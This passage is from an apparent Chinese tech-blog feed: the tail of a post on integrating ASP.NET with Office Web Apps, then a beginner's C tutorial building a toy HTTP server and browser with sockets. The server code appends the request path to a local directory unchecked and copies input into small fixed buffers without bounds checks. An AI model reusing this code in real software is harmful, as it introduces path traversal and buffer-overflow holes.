#800000;">"</span><span style="color: #800000;">mobileView</span><span style="color: #800000;">"</span><span style="color: #000000;">;<br/> }<br/> </span><span style="color: #0000ff;">var</span> appAction = appStuff.action.Where(c =&gt; c.ext == fileExtension &amp;&amp; c.name ==<span style="color: #000000;"> action).FirstOrDefault();<br/><br/> </span><span style="color: #0000ff;">if</span> (<span style="color: #0000ff;">null</span> ==<span style="color: #000000;"> appAction)<br/> </span><span style="color: #0000ff;">throw</span> <span style="color: #0000ff;">new</span> ApplicationException(<span style="color: #800000;">"</span><span style="color: #800000;">Can't locate UrlSrc for : </span><span style="color: #800000;">"</span> +<span style="color: #000000;"> appName);<br/><br/> </span><span style="color: #0000ff;">var</span> endPoint = appAction.urlsrc.IndexOf(<span style="color: #800000;">'</span><span style="color: #800000;">?</span><span style="color: #800000;">'</span><span style="color: #000000;">);<br/> </span><span style="color: #0000ff;">var</span> endAction = appAction.urlsrc.Substring(<span style="color: #800080;">0</span><span style="color: #000000;">, endPoint);<br/><br/> </span><span style="color: #0000ff;">string</span> fullPath = <span style="color: #0000ff;">null</span><span style="color: #000000;">;<br/> </span><span style="color: #808080;">///</span><span style="color: #008000;">/HACK: for PDF now just append WordPdf option...</span><br/> <span style="color: #0000ff;">if</span> (fileExtension.Contains(<span style="color: #800000;">"</span><span style="color: #800000;">pdf</span><span style="color: #800000;">"</span><span style="color: #000000;">))<br/> {<br/> fullPath </span>= <span style="color: #0000ff;">string</span><span style="color: #000000;">.Format( s_WopiHostFormatPdf, endAction, wopiHostUrlsafe, accessToken);<br/> }<br/> </span><span style="color: #0000ff;">else</span><span style="color: #000000;"><br/> {<br/> fullPath </span>= <span style="color: #0000ff;">string</span><span style="color: #000000;">.Format(s_WopiHostFormat, endAction, wopiHostUrlsafe, accessToken);<br/> }<br/><br/> </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> fullPath;<br/> }<br/> }</span></div></div><p>相应的配置如下:</p><p><img src="http://images.cnitblog.com/i/209993/201404/182153315101656.png" alt="" /></p><p>appDiscoveryXml&nbsp;是我们owas(http://owas.contoso.com/hosting/discovery)产生的数据文件,appWopiServer&nbsp;表示我们的owas将要访问interface地址。updateEnabled主要是表示owas是否可以修改我们的文档,如果是true 我们上面的action 采用edit,为false采用view。appHmacKey只是数据加密的一个key。生成的url如图:</p><p><img src="http://images.cnitblog.com/i/209993/201404/182201174785965.png" alt="" /></p><p>注意这里的配置是updateEnabled=true&nbsp;表示owas是可以编辑文件的,如图:</p><p><img src="http://images.cnitblog.com/i/209993/201404/182203376827033.png" alt="" /></p><p>当我们点击在浏览器编辑&nbsp;结果如图:</p><p><img src="http://images.cnitblog.com/i/209993/201404/182205061194581.png" alt="" /></p><p>修改后可以直接保存:</p><p><img src="http://images.cnitblog.com/i/209993/201404/182206317441589.png" alt="" /></p><p><img src="http://images.cnitblog.com/i/209993/201404/182207156032056.png" alt="" /></p><p>点击确认后就可以直接保存。&nbsp;pptx的编辑模式如下:</p><p><img src="http://images.cnitblog.com/i/209993/201404/182208553071098.png" alt="" /></p><p>这里的docx文件的编辑模式一直都在报错搞了很久也没搞定,错误信息如下,如果大家知道还请指导指导:</p><p><img src="http://images.cnitblog.com/i/209993/201404/182211187442176.png" alt="" /></p><p>pdf是没有编辑模式的,现在再来看看excel的只读模式(view)如下:</p><p><img src="http://images.cnitblog.com/i/209993/201404/182213215414527.png" alt="" /></p><p>这里的菜单中并不包含&ldquo;在浏览器中编辑&rdquo;,其中第15行是我刚才修改的新数据。docx和pptx的只读模式就不贴图了,在mobile的运行结果如下(我这里是用android手机访问我的站点,由于是通过wifi来访问自己的电脑上的站点,这里需要把计算机的全名改为IP地址)。</p><p>&nbsp;<img src="http://images.cnitblog.com/i/209993/201404/182224432289433.png" alt="" /></p><p>注意上面的url是192.168.1.25XXX,这里的ip是owas.contoso.com的IP。这里总结一下的测试结果如下:</p><table style="width: 874px; height: 180px;" border="1" align="center"><tbody><tr><td style="text-align: center;">&nbsp;</td><td style="text-align: center;"><span style="color: #ff0000;"><strong><span style="font-size: 13px;">view</span></strong></span></td><td style="text-align: center;"><span style="color: #ff0000;"><strong><span style="font-size: 13px;">edit</span></strong></span></td><td style="text-align: center;"><span style="color: #ff0000;"><strong><span style="font-size: 13px;">mobileview</span></strong></span></td><td style="text-align: center;"><span style="color: #ff0000;"><strong><span style="font-size: 13px;">remark</span></strong></span></td></tr><tr><td style="text-align: center;"><span style="color: #ff0000;"><strong><span style="font-size: 13px;">word</span></strong></span></td><td style="text-align: left;"><span style="font-size: 13px;">通过</span></td><td style="text-align: left;"><span style="font-size: 13px;">未通过</span></td><td style="text-align: left;"><span style="font-size: 13px;">通过</span></td><td style="text-align: left;"><span style="font-size: 13px;">在http和https协议下view都通过,edit&nbsp;view没有通过,mobileview只测试了http协议</span></td></tr><tr><td style="text-align: center;"><span style="color: #ff0000;"><strong><span style="font-size: 13px;">excel</span></strong></span></td><td style="text-align: left;"><span style="font-size: 13px;">通过</span></td><td style="text-align: left;"><span style="font-size: 13px;">通过</span></td><td style="text-align: left;"><span style="font-size: 13px;">通过</span></td><td style="text-align: left;"><span style="font-size: 13px;">在http和https协议下view和edit都通过,mobileview只测试了http协议</span></td></tr><tr><td style="text-align: center;"><span style="color: #ff0000;"><strong><span style="font-size: 13px;">ppt</span></strong></span></td><td style="text-align: left;"><span style="font-size: 13px;">通过</span></td><td style="text-align: left;"><span style="font-size: 13px;">通过</span></td><td style="text-align: left;"><span style="font-size: 13px;">通过</span></td><td style="text-align: left;"><span style="font-size: 13px;">在http和https协议下view和edit都通过,mobileview只测试了http协议</span></td></tr><tr><td style="text-align: center;"><span style="color: #ff0000;"><strong><span style="font-size: 13px;">pdf</span></strong></span></td><td style="text-align: left;"><span style="font-size: 13px;">通过</span></td><td style="text-align: left;"><span style="font-size: 13px;">不存在edit action</span></td><td style="text-align: left;"><span style="font-size: 13px;">未通过</span></td><td style="text-align: left;"><span style="font-size: 13px;">view在http协议下通过,在https在协议下未通过,mobileview 未通过</span></td></tr></tbody></table><p>&nbsp;这里我把问题的重心放在word的edit上面,对于pdf&nbsp;在owas采用https以及在mobile上不能访问的原因未未做调查。知道这些问题的革命前辈还请不吝赐教。源码下载地址:http://download.csdn.net/detail/dz45693/7215395</p><img src="http://counter.cnblogs.com/blog/rss/3672976" width="1" height="1" alt=""/><br/><p>本文链接:<a href="http://www.cnblogs.com/majiang/p/3672976.html" target="_blank">Asp.net与office web apps的整合</a>,转载请注明。</p>http://www.cnblogs.com/arcane/p/3674119.html【C语言】【网络编程】菜鸟学习日志(三) 一个简易B/S系统??Http Server和精简的浏览器 - 宇坤一篇新手初步学习网络编程后的小总结。主要说了搭建一个简易B/S(浏览器/服务器)系统的概念,包括完整的代码。2014-04-18T14:41:00Z2014-04-18T14:41:00Z宇坤http://www.cnblogs.com/arcane/<p class="p0" style="text-align: center;">一个简易B/S系统&mdash;&mdash;Http&nbsp;Server和精简的浏览器</p><p class="p0" style="text-align: right;">&mdash;&mdash;在实战中开始C语言网络编程</p><p class="p0">&nbsp;</p><p class="p0">  写在前面:</p><p class="p0">  这篇博文的题目同时也是我们这学期&nbsp;C语言&nbsp;课程中综合实验的题目。本菜鸟自然也是第一次干这事儿。在网上找了很多文章来学习,现在也写一篇自己的博文来回馈大家!</p><p class="p0">?</p><p class="p0">  下面先简单介绍一下我们这篇博文要说些什么。</p><p class="p0">  其实看题目就已经很明白了:就是要做一个Http&nbsp;Server和一个精简的浏览器嘛。而为了实现这两个东西,我们大概要用到套接字(socket)和http协议相关的知识,其中包括URL的知识。</p><p class="p0">  最后,我们要有一个browser程序,一个server程序。此外还有一个test.html文件作为传送的目标。</p><p class="p0">  打开server让它运作;然后打开browser,输入URL,回车,请求就会生成报文(http协议)并发送给server。server接收到报文后,解析报文,并返回相应的应答报文。</p><p class="p0">&nbsp;</p><p class="p0">  不同于大多数文章上来就开始罗列相关函数(因为我是个菜鸟),我们不妨先通过一个简单的对比例子来了解一下我们整个B/S系统的通信过程。</p><p class="p0">  比方说有一天你发短信给你的朋友,想问他/她索要一张近照。你的朋友收到短信后给你回复了一张前几天去海边玩的照片。那么在这个过程中,你和你的朋友就算是构成了一个B/S系统(浏览器/服务器系统)。在这个过程中你和朋友是如何实现通信的呢?</p><p class="p0">  想想上面的例子,在展开讨论它之前,我们再来回忆一下平时用浏览器访问网页时的情景:</p><p class="p0">  比如你要上百度,你会在浏览器的导航工具栏中输入:<a href="http://www.baidu.com/">www.baidu.com</a>,然后回车,浏览器就会把百度首页显示给你。什么?你直接去收藏栏里开百度?好吧,那只是浏览器自动帮你完成了填写网址的操作罢了。</p><p class="p0">  事实上浏览器还帮你做了很多别的事,比如默认帮你补全前面的&ldquo;http://&rdquo;。</p><p class="p0">  当我们要取得网络上的某个资源时,一般是通过各种途径给出了该资源的URL(统一资源定位符)。这是网络上每个资源所独有的地址。完整的格式如下:</p><p class="p0">    传送协议://服务器:端口号/路径?查询</p><p class="p0">  详细的介绍大家可以去文后的链接中找,本菜鸟就不赘述了。</p><p class="p0">&nbsp;</p><p class="p0">  网页的访问一般是通过http协议进行的。这种协议规定浏览器和服务器间通过规定格式的报文进行通信。通过协议,通信双方可以完全不用考虑对方通信的具体内部实现,只要能读懂报文(报文的格式是全球统一的)就可以通信了。也许你还没有理解这里的意思。没关系,这里我们先保留一个小惊喜,到后面你就会明白了。</p><p class="p0">  再回过头看看我们找朋友要照片的例子。大概就是说,你要请求一个照片(资源),于是你填写了一封你们都可以理解的(遵守协议的)短信(报文),然后发送(send)给你的朋友;而另一边,你的朋友总是时刻在注意听手机有没有响(listen),当听到短信提示音后,便接收(accept)了你的短信并进行了阅读(read)。在明白了你的需求后,你的朋友写了一封附带照片的你们可以读懂的短信(应答报文)并回复给了你(send);然后你接收(recv)到了这个短信。这就是整个通信过程。当然在这些短信中,除了你们编写的文字外还附加了诸如发送时间、手机号码等附加属性。</p><p class="p0">  我们浏览器和服务器之间的通信也是类似的。事实上,上面括号中给出的就是我们的程序中要用到的具体函数!</p><p class="p0">&nbsp;</p><p class="p0">  当然,与我们发短信还是有一些不同的地方,比如说&mdash;&mdash;你可能已经听到过这个名字了&mdash;&mdash;套接字。套接字在度娘那里是这样描述的:</p><p class="p0">  多个TCP连接或多个应用程序进程可能需要通过同一个&nbsp;TCP协议端口传输数据。为了区别不同的应用程序进程和连接,许多计算机操作系统为应用程序与TCP/IP协议交互提供了称为套接字(Socket)的接口。</p><p class="p0">  更具体的定义和用法我在文后同样给出了链接。</p><p class="p0">&nbsp;</p><p class="p0">  到此为止,相信你已经对整个B/S系统有一定的认识了。那么接下来附上我的代码。根据我的注释,大家应该基本可以看懂了!</p><p class="p0">&nbsp;</p><p class="p0">  代码1:</p><p class="p0">/*</p><p class="p0">browser.c</p><p class="p0">一个精简的浏览器。</p><p class="p0">可以接收用户输入的URL(ip形式),并进行访问</p><p class="p0">*/</p><p class="p0">#include&nbsp;&lt;stdio.h&gt;</p><p class="p0">#include&nbsp;&lt;stdlib.h&gt;</p><p class="p0">#include&nbsp;&lt;string.h&gt;</p><p class="p0">#include&nbsp;&lt;errno.h&gt;</p><p class="p0">#include&nbsp;&lt;string.h&gt;</p><p class="p0">#include&nbsp;&lt;sys/types.h&gt;</p><p class="p0">#include&nbsp;&lt;netinet/in.h&gt;</p><p class="p0">#include&nbsp;&lt;sys/socket.h&gt;</p><p class="p0">#include&nbsp;&lt;sys/wait.h&gt;</p><p class="p0">&nbsp;</p><p class="p0">#define&nbsp;MAXSIZE&nbsp;2048</p><p class="p0">&nbsp;</p><p class="p0">//URL解析器</p><p class="p0">int&nbsp;analysis_URL(char&nbsp;*buf,&nbsp;char&nbsp;*ip,&nbsp;char&nbsp;*port,&nbsp;char&nbsp;*html);</p><p class="p0">//报文生成器</p><p class="p0">int&nbsp;packet_builder(char&nbsp;*Header,&nbsp;char&nbsp;*html,&nbsp;char&nbsp;*ip,&nbsp;char&nbsp;*port);</p><p class="p0">&nbsp;</p><p class="p0">int&nbsp;main&nbsp;(void)</p><p class="p0">{</p><p class="p0">  int&nbsp;i;&nbsp;//用于计数</p><p class="p0">  char&nbsp;buf[MAXSIZE];&nbsp;//存放URL</p><p class="p0">  char&nbsp;Header[MAXSIZE]&nbsp;=&nbsp;{'\0'};&nbsp;//填写报文</p><p class="p0">  char&nbsp;s_ip[16];&nbsp;//存放ip</p><p class="p0">  char&nbsp;s_p[5];&nbsp;//存放端口号&nbsp;字符串</p><p class="p0">  unsigned&nbsp;short&nbsp;s_port&nbsp;=&nbsp;0;&nbsp;//存放端口号&nbsp;整形</p><p class="p0">  char&nbsp;s_html[30];&nbsp;//存放路径</p><p class="p0">  int&nbsp;sockfd,&nbsp;recvbytes;</p><p class="p0">  struct&nbsp;sockaddr_in&nbsp;serv_addr;</p><p class="p0">&nbsp;</p><p class="p0">  while(1)</p><p class="p0">  {</p><p class="p0">    //获取URL</p><p class="p0">    printf("URL:\n");</p><p class="p0">    scanf("%s",buf);</p><p class="p0">&nbsp;</p><p class="p0">    //解析URL</p><p class="p0">    if(!analysis_URL(buf,&nbsp;s_ip,&nbsp;s_p,&nbsp;s_html))</p><p class="p0">    {</p><p class="p0">      i&nbsp;=&nbsp;0;</p><p class="p0">      s_port&nbsp;=&nbsp;0;</p><p class="p0">      while(s_p[i]&nbsp;!=&nbsp;'\0')</p><p class="p0">        s_port&nbsp;=&nbsp;s_port*10+(s_p[i++]-'0');</p><p class="p0">&nbsp;</p><p class="p0">    }</p><p class="p0">    else</p><p class="p0">    {</p><p class="p0">      printf("不支持的协议!");</p><p class="p0">      continue;</p><p class="p0">    }</p><p class="p0">&nbsp;</p><p class="p0">    //创建套接字</p><p class="p0">    if&nbsp;((sockfd&nbsp;=&nbsp;socket(AF_INET,&nbsp;SOCK_STREAM,&nbsp;0))&nbsp;==&nbsp;-1)</p><p class="p0">    {</p><p class="p0">      perror("socket&nbsp;error!");</p><p class="p0">      exit(1);</p><p class="p0">    }</p><p class="p0">&nbsp;</p><p class="p0">    //根据URL填写服务器端套接字网络地址信息</p><p class="p0">    bzero(&amp;serv_addr,sizeof(serv_addr));</p><p class="p0">    serv_addr.sin_family&nbsp;=&nbsp;AF_INET;</p><p class="p0">    serv_addr.sin_port&nbsp;=&nbsp;htons(s_port);</p><p class="p0">    serv_addr.sin_addr.s_addr=&nbsp;inet_addr(s_ip);</p><p class="p0">&nbsp;</p><p class="p0">    //与服务器端建立连接</p><p class="p0">    if&nbsp;(connect(sockfd,&nbsp;(struct&nbsp;sockaddr&nbsp;*)&amp;serv_addr,sizeof(struct&nbsp;sockaddr))&nbsp;==&nbsp;-1)</p><p class="p0">    {</p><p class="p0">      perror("connect&nbsp;error!");</p><p class="p0">      exit(1);</p><p class="p0">    }</p><p class="p0">&nbsp;</p><p class="p0">    //填写报文</p><p class="p0">&nbsp;</p><p class="p0">    memset(Header,&nbsp;'\0',&nbsp;MAXSIZE);&nbsp;//先清空原来的报文</p><p class="p0">    packet_builder(Header,&nbsp;s_html,&nbsp;s_ip,&nbsp;s_p);</p><p class="p0">&nbsp;</p><p class="p0">    //发送请求报文</p><p class="p0">    send(sockfd,&nbsp;Header,&nbsp;strlen(Header),0);</p><p class="p0">&nbsp;</p><p class="p0">    //接收应答文</p><p class="p0">    if&nbsp;((recvbytes&nbsp;=&nbsp;recv(sockfd,&nbsp;buf,&nbsp;MAXSIZE,0))&nbsp;==&nbsp;-1)&nbsp;</p><p class="p0">    {</p><p class="p0">      perror("recv&nbsp;error!");</p><p class="p0">      exit(1);</p><p class="p0">    }</p><p class="p0">    buf[recvbytes]&nbsp;=&nbsp;'\0';</p><p class="p0">&nbsp;</p><p class="p0">    //打印接收到的响应</p><p class="p0">    printf("\n响应报文已接收!\n%s\n",buf);</p><p class="p0">&nbsp;</p><p class="p0">    //关闭套接字</p><p class="p0">    close(sockfd);</p><p class="p0">    close(recvbytes);</p><p class="p0">  }</p><p class="p0">&nbsp;</p><p class="p0">  return&nbsp;0;</p><p class="p0">}</p><p class="p0">&nbsp;</p><p class="p0">代码2:</p><p class="p0">#include&nbsp;&lt;stdio.h&gt;</p><p class="p0">#include&nbsp;&lt;stdlib.h&gt;</p><p class="p0">#include&nbsp;&lt;errno.h&gt;</p><p class="p0">#include&nbsp;&lt;string.h&gt;</p><p class="p0">#include&nbsp;&lt;sys/types.h&gt;</p><p class="p0">#include&nbsp;&lt;netinet/in.h&gt;</p><p class="p0">#include&nbsp;&lt;sys/socket.h&gt;</p><p class="p0">#include&nbsp;&lt;sys/wait.h&gt;</p><p class="p0">#include&nbsp;&lt;time.h&gt;</p><p class="p0">&nbsp;</p><p class="p0">#define&nbsp;SERVPORT&nbsp;3333&nbsp;//用户接入端口</p><p class="p0">#define&nbsp;BACKLOG&nbsp;10&nbsp;//允许等待连接数</p><p class="p0">#define&nbsp;MAXSIZE&nbsp;2048</p><p class="p0">&nbsp;</p><p class="p0">//报文解析器</p><p class="p0">int&nbsp;analysis_packet();</p><p class="p0">//应答报文头生成器</p><p class="p0">int&nbsp;packet_builder_s();</p><p class="p0">&nbsp;</p><p class="p0">int&nbsp;main(void)&nbsp;{</p><p class="p0">  int&nbsp;sockfd,client_fd;</p><p class="p0">  struct&nbsp;sockaddr_in&nbsp;my_addr;</p><p class="p0">  struct&nbsp;sockaddr_in&nbsp;remote_addr;</p><p class="p0">  char&nbsp;msg[MAXSIZE]&nbsp;=&nbsp;{'\0'};</p><p class="p0">  struct&nbsp;tm&nbsp;*ptr;</p><p class="p0">  time_t&nbsp;it;</p><p class="p0">&nbsp;</p><p class="p0">  it=time(NULL);</p><p class="p0">&nbsp;</p><p class="p0">  //创建套接字</p><p class="p0">  if&nbsp;((sockfd&nbsp;=&nbsp;socket(AF_INET,SOCK_STREAM,0))&nbsp;==&nbsp;-1)</p><p class="p0">  {</p><p class="p0">    perror("socket&nbsp;create&nbsp;failed!");</p><p class="p0">    exit(1);</p><p class="p0">  }</p><p class="p0">&nbsp;</p><p class="p0">  //绑定端口地址</p><p class="p0">  my_addr.sin_family&nbsp;=&nbsp;AF_INET;//通信类型</p><p class="p0">  my_addr.sin_port&nbsp;=&nbsp;htons(SERVPORT);//端口</p><p class="p0">  my_addr.sin_addr.s_addr&nbsp;=&nbsp;INADDR_ANY;//使用自己的ip地址</p><p class="p0">  bzero(&amp;(my_addr.sin_zero),8);</p><p class="p0">  if&nbsp;(bind(sockfd,&nbsp;(struct&nbsp;sockaddr*)&amp;my_addr,&nbsp;sizeof(struct&nbsp;sockaddr))&nbsp;==&nbsp;-1)</p><p class="p0">  {</p><p class="p0">    perror("bind&nbsp;error!");</p><p class="p0">    exit(1);</p><p class="p0">  }</p><p class="p0">&nbsp;</p><p class="p0">  //监听端口</p><p class="p0">  if&nbsp;(listen(sockfd,&nbsp;BACKLOG)&nbsp;==&nbsp;-1)</p><p class="p0">  {</p><p class="p0">    perror("listen&nbsp;error");</p><p class="p0">    exit(1);</p><p class="p0">  }</p><p class="p0">&nbsp;</p><p class="p0">  while&nbsp;(1)</p><p class="p0">  {</p><p class="p0">    int&nbsp;sin_size&nbsp;=&nbsp;sizeof(struct&nbsp;sockaddr_in);</p><p class="p0">    if&nbsp;((client_fd&nbsp;=&nbsp;accept(sockfd,&nbsp;(struct&nbsp;sockaddr*)&amp;remote_addr,&amp;sin_size))&nbsp;==&nbsp;-1)</p><p class="p0">    {</p><p class="p0">      perror("accept&nbsp;error!");</p><p class="p0">      continue;</p><p class="p0">    }</p><p class="p0">    printf("收到来自%s的连接!\n",&nbsp;(char*)inet_ntoa(remote_addr.sin_addr));</p><p class="p0">&nbsp;</p><p class="p0">    //子进程段</p><p class="p0">    if&nbsp;(!fork())</p><p class="p0">    {</p><p class="p0">      //接受client发送的请示信息</p><p class="p0">      int&nbsp;rval;</p><p class="p0">      char&nbsp;buf[MAXSIZE];</p><p class="p0">      char&nbsp;file[50]&nbsp;=&nbsp;{'\0'};</p><p class="p0">      FILE&nbsp;*fp;</p><p class="p0">      char&nbsp;text[MAXSIZE];</p><p class="p0">      char&nbsp;fname[100]&nbsp;=&nbsp;"/home/arcane/C_learning";&nbsp;//服务器文件的路径</p><p class="p0">      int&nbsp;size;</p><p class="p0">&nbsp;</p><p class="p0">      if&nbsp;((rval&nbsp;=&nbsp;read(client_fd,&nbsp;buf,&nbsp;MAXSIZE))&nbsp;&lt;&nbsp;0)</p><p class="p0">      {</p><p class="p0">        perror("reading&nbsp;stream&nbsp;error!");</p><p class="p0">        continue;</p><p class="p0">      }</p><p class="p0">      printf("%s\n",buf);</p><p class="p0">&nbsp;</p><p class="p0">      //解析报文</p><p class="p0">      if(!analysis_packet(buf,&nbsp;file))&nbsp;//解析成功</p><p class="p0">      {</p><p class="p0">        //生成本地文件路径</p><p class="p0">        strcat(fname,&nbsp;file);</p><p class="p0">        if((fp=fopen(fname,"r"))&nbsp;!=&nbsp;NULL)&nbsp;//找到文件</p><p class="p0">        {</p><p class="p0">          fseek(fp,&nbsp;0,&nbsp;SEEK_END);</p><p class="p0">          size&nbsp;=&nbsp;ftell(fp);</p><p class="p0">          fseek(fp,&nbsp;0,&nbsp;SEEK_SET);</p><p class="p0">&nbsp;</p><p class="p0">          //填写响应报文头</p><p class="p0">          packet_builder_s(msg,&nbsp;200,&nbsp;size);</p><p class="p0">          while(fgets(text,2048,fp)!=NULL)</p><p class="p0">          {</p><p class="p0">            strcat(msg,text);</p><p class="p0">          };</p><p class="p0">          fclose(fp);</p><p class="p0">&nbsp;</p><p class="p0">          //向client发送应答报文</p><p class="p0">          if&nbsp;(send(client_fd,&nbsp;msg,&nbsp;strlen(msg),&nbsp;0)&nbsp;==&nbsp;-1)&nbsp;perror("send&nbsp;error!");</p><p class="p0">            close(client_fd);</p><p class="p0">        }</p><p class="p0">        else</p><p class="p0">        {</p><p class="p0">          packet_builder_s(msg,&nbsp;404,&nbsp;0);</p><p class="p0">          if&nbsp;(send(client_fd,&nbsp;msg,&nbsp;strlen(msg),&nbsp;0)&nbsp;==&nbsp;-1)&nbsp;perror("send&nbsp;error!");</p><p class="p0">            close(client_fd);</p><p class="p0">        }</p><p class="p0">      }</p><p class="p0">      else</p><p class="p0">        printf("报文解析失败!\n");</p><p class="p0">      exit(0);</p><p class="p0">    }</p><p class="p0">    close(client_fd);</p><p class="p0">  }</p><p class="p0">&nbsp;</p><p class="p0">  return&nbsp;0;</p><p class="p0">}</p><p class="p0">&nbsp;</p><p class="p0">  结合之前的介绍,上面的代码是很好理解的。唯一的难点可能就在结构体&nbsp;sockaddr_in&nbsp;上面。这个结构体展开来是这样的:</p><p class="p0">  struct&nbsp;sockaddr_in&nbsp;</p><p class="p0">  {</p><p class="p0">    short&nbsp;int&nbsp;sin_family;&nbsp;//通信类型</p><p class="p0">    unsigned&nbsp;short&nbsp;int&nbsp;sin_port;&nbsp;//&nbsp;端口&nbsp;</p><p class="p0">    struct&nbsp;in_addr&nbsp;sin_addr;&nbsp;//&nbsp;Internet&nbsp;地址&nbsp;</p><p class="p0">    unsigned&nbsp;char&nbsp;sin_zero[8];&nbsp;//&nbsp;与sockaddr结构的长度相同</p><p class="p0">  };</p><p class="p0">&nbsp;</p><p class="p0">  关于它的更多描述在文后链接中有提到,有兴趣深究的朋友可以看看。</p><p class="p0">&nbsp;</p><p class="p0">  当然,上面的代码你还不能直接使用。除了要把服务器程序中的资源路径改成你的资源路径外,我们还有4个函数只给出了声明而没有给出实现。它们分别是:browser的URL解析器和报文生成器、server的报文解析器和应答报文头生成器。而要实现这4个函数,我们就要深入了解http协议&mdash;&mdash;因为我们的报文就是http协议规定的嘛!</p><p class="p0">  报文的生成其实就是按照规则生成一个字符串,而报文解析就是对这个报文字符串按照同样的规则拆分的过程。报文中包含了诸如主机地址、请求资源、发送时间、接受状态等信息。</p><p class="p0">  具体的格式我同样给出了链接。大家按照同样的规则写好的报文程序应该都是可以解析出来的。</p><p class="p0">  下面我给出我的实现。像前面说的,我在这里只是实现了一小部分功能,比如browser只能生成GET类型的报文(这是最简单的类型,还有其他类型的可以在链接中找到)。但是它们确实是严格按照规则来的。</p><p class="p0">&nbsp;</p><p class="p0">代码1(添加到browser.c底部):</p><p class="p0">/*</p><p class="p0">解析URL</p><p class="p0">URL一般格式:scheme://host:port/path?query#fragment</p><p class="p0">这是一个只能解析http协议的URL解析器</p><p class="p0">*/</p><p class="p0">int&nbsp;analysis_URL(char&nbsp;*buf,&nbsp;char&nbsp;*ip,&nbsp;char&nbsp;*port,&nbsp;char&nbsp;*html)</p><p class="p0">{</p><p class="p0">  char&nbsp;*p;</p><p class="p0">  int&nbsp;i;</p><p class="p0">&nbsp;</p><p class="p0">  if((p=strtok(buf,&nbsp;":"))&nbsp;!=&nbsp;NULL)</p><p class="p0">  {</p><p class="p0">    //确认为&nbsp;http&nbsp;协议</p><p class="p0">    if(!strcmp(p,&nbsp;"http"))</p><p class="p0">    {</p><p class="p0">      //确认&nbsp;http&nbsp;后的&nbsp;"://"</p><p class="p0">      p=strtok(NULL,":");</p><p class="p0">      if(*p=='/'&nbsp;&amp;&amp;&nbsp;*(p+1)=='/')</p><p class="p0">      {</p><p class="p0">        strcpy(ip,&nbsp;p+2);&nbsp;//填写&nbsp;ip</p><p class="p0">        //确认有端口号</p><p class="p0">        if((p=strtok(NULL,":"))&nbsp;!=&nbsp;NULL)</p><p class="p0">        {</p><p class="p0">          if((i=strcspn(p,"/"))&nbsp;&lt;&nbsp;strlen(p))</p><p class="p0">          {</p><p class="p0">            strncpy(port,&nbsp;p,&nbsp;i);&nbsp;//填写&nbsp;port</p><p class="p0">            //端口号之后的&nbsp;"/"</p><p class="p0">            strcpy(html,&nbsp;p+i);&nbsp;//填写具体文件</p><p class="p0">            return&nbsp;0;</p><p class="p0">          }</p><p class="p0">        }</p><p class="p0">        else</p><p class="p0">        {</p><p class="p0">          printf("缺少端口号!");</p><p class="p0">          return&nbsp;1;</p><p class="p0">        }</p><p class="p0">      }</p><p class="p0">    }</p><p class="p0">    else</p><p class="p0">    {</p><p class="p0">      printf("不支持的协议!");</p><p class="p0">      return&nbsp;1;</p><p class="p0">    }</p><p class="p0">  }</p><p class="p0">  printf("格式错误!");</p><p class="p0">&nbsp;</p><p class="p0">  return&nbsp;1;</p><p class="p0">}</p><p class="p0">&nbsp;</p><p class="p0">/*</p><p class="p0">报文生成器</p><p class="p0">这是一个只能生成GET类报文的简单生成器</p><p class="p0">报文首部只填写部分属性</p><p class="p0">*/</p><p class="p0">int&nbsp;packet_builder(char&nbsp;*Header,&nbsp;char&nbsp;*html,&nbsp;char&nbsp;*ip,&nbsp;char&nbsp;*port)</p><p class="p0">{</p><p class="p0">  //请求行</p><p class="p0">  strcat(Header,"GET&nbsp;");</p><p class="p0">  strcat(Header,html);</p><p class="p0">  strcat(Header,"&nbsp;HTTP/1.1\r\n");</p><p class="p0">  //首部</p><p class="p0">  strcat(Header,"Accept:&nbsp;*/*\r\n");</p><p class="p0">  strcat(Header,"Accept-Language:&nbsp;zh-cn\r\n");</p><p class="p0">  strcat(Header,"User-Agent:&nbsp;Qbrowser/0.0\r\n");</p><p class="p0">  strcat(Header,"Host:&nbsp;");</p><p class="p0">  strcat(Header,ip);</p><p class="p0">  strcat(Header,":");</p><p class="p0">  strcat(Header,port);</p><p class="p0">  strcat(Header,"\r\nConnection:&nbsp;Keep-Alive\r\n");</p><p class="p0">  //空行</p><p class="p0">  strcat(Header,"\r\n");</p><p class="p0">  //请求主体</p><p class="p0">&nbsp;</p><p class="p0">  return&nbsp;0;</p><p class="p0">}</p><p class="p0">&nbsp;</p><p class="p0">代码2(添加到server.c底部):</p><p class="p0">/*</p><p class="p0">请求报文解析器</p><p class="p0">这是一个极简的解析器</p><p class="p0">事实上只解析了请求行</p><p class="p0">*/</p><p class="p0">int&nbsp;analysis_packet(char&nbsp;*packet,&nbsp;char&nbsp;*f)</p><p class="p0">{</p><p class="p0">  char&nbsp;*p;</p><p class="p0">  char&nbsp;*delims={&nbsp;"&nbsp;\r"&nbsp;};</p><p class="p0">&nbsp;</p><p class="p0">  if((p=strtok(packet,&nbsp;delims))&nbsp;==&nbsp;NULL)</p><p class="p0">  {</p><p class="p0">    return&nbsp;1;</p><p class="p0">  }</p><p class="p0">  if(!strcmp(p,"GET"))&nbsp;//确认请求为&nbsp;GET</p><p class="p0">  {</p><p class="p0">    if((p=strtok(NULL,&nbsp;delims))&nbsp;==&nbsp;NULL)</p><p class="p0">    {</p><p class="p0">      return&nbsp;1;</p><p class="p0">    }</p><p class="p0">    strcpy(f,&nbsp;p);&nbsp;//获取文件路径</p><p class="p0">    if((p=strtok(NULL,&nbsp;delims))&nbsp;==&nbsp;NULL)</p><p class="p0">    {</p><p class="p0">      return&nbsp;1;</p><p class="p0">    }</p><p class="p0">    if(!strcmp(p,&nbsp;"HTTP/1.1"))&nbsp;//确认协议为&nbsp;HTTP/1.1</p><p class="p0">      return&nbsp;0;</p><p class="p0">    else</p><p class="p0">      printf("报文解析:未知的协议!\n");</p><p class="p0">  }</p><p class="p0">  else</p><p class="p0">    printf("报文解析:未知的请求!\n");</p><p class="p0">  return&nbsp;1;</p><p class="p0">}</p><p class="p0">&nbsp;</p><p class="p0">/*</p><p class="p0">应答报文头生成器</p><p class="p0">只支持200和404状态</p><p class="p0">填写了部分属性</p><p class="p0">*/</p><p class="p0">int&nbsp;packet_builder_s(char&nbsp;*msg,&nbsp;int&nbsp;status,&nbsp;int&nbsp;s)</p><p class="p0">{</p><p class="p0">  char&nbsp;num[5];</p><p class="p0">  